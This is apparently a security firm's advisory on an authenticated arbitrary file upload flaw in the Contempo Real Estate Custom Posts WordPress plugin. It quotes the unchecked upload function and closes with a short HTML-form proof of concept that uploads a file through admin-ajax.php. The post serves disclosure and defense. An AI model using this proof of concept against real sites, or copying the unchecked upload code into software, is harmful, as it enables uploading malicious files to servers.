Contempo Real Estate Custom Posts WordPress Plugin Contains Authenticated Arbitrary File Upload Vulnerability
Last week the there was what looked to be a hacker probing for usage of the WordPress plugin Contempo Real Estate Custom Posts in third-party data we monitor, by requesting this file:
/wp-content/plugins/contempo-real-estate-custom-posts/readme.txt
Something that we found while looking into that points to the possibility that a hacker might be placing a modified version of the plugin on websites they have already hacked, but we also found that the plugin contains a vulnerability that hackers would be interested in exploiting. That being an authenticated arbitrary file upload vulnerability.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Arbitrary File Upload Vulnerability
The plugin registers the function ct_front_img_upload() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
83 | add_action( 'wp_ajax_ct_front_img_upload', 'ct_front_img_upload' ); |
That function, which is located in the file /includes/ct-real-estate-front-end-attachments.php, handles uploading a file sent with a request to it:
23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | function ct_front_img_upload( $post ) { if (empty($_FILES) || $_FILES['file']['error']) { die('{"OK": 0, "info": "Failed to move uploaded file."}'); } $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0; $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0; $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"]; $wp_upload_dir = wp_upload_dir(); $filePath = $wp_upload_dir['path'].'/'.$fileName; $filePath2 = $wp_upload_dir['url'].'/'.$fileName; // Open temp file $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($_FILES['file']['tmp_name'], "rb"); if ($in) { while ($buff = fread($in, 4096)) {fwrite($out, $buff);} } else {die('{"OK": 0, "info": "Failed to open input stream."}');} @fclose($in); @fclose($out); @unlink($_FILES['file']['tmp_name']); } else {die('{"OK": 0, "info": "Failed to open output stream."}');} $name=$filePath2.'.part'; if(!$chunks || $chunk == $chunks - 1) { $name=$filePath; rename($filePath.".part", $filePath); |
There are no security checks done to restrict who has access or what types of files can be uploaded, so that permits arbitrary files to be uploaded by anyone logged in to WordPress.
There is an important limitation, though, the website needs to be using version 3.0.6 or higher of the plugin developer’s Real Estate 7 theme for that code to be run:
367 | $parent_theme = wp_get_theme('realestate-7') |
386 387 388 389 390 391 392 | if($parent_theme->version >= '3.0.6') { require plugin_dir_path( __FILE__ ) . 'includes/ct-social/ct-social.php'; require plugin_dir_path( __FILE__ ) . 'includes/ct-real-estate-custom-widgets.php'; require plugin_dir_path( __FILE__ ) . 'includes/class-ct-real-estate-7-helper.php'; require plugin_dir_path( __FILE__ ) . 'includes/ct-real-estate-metaboxes.php'; require plugin_dir_path( __FILE__ ) . 'includes/ct-real-estate-front-end-attachments.php'; } |
It isn’t clear how many people using the plugin are also using theme, but the most recent review of the plugin suggested that it shouldn’t be used unless you are also using the theme.
This could also be exploited through cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ct_front_img_upload" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="submit" name="img" value="Submit" /> </form> </body>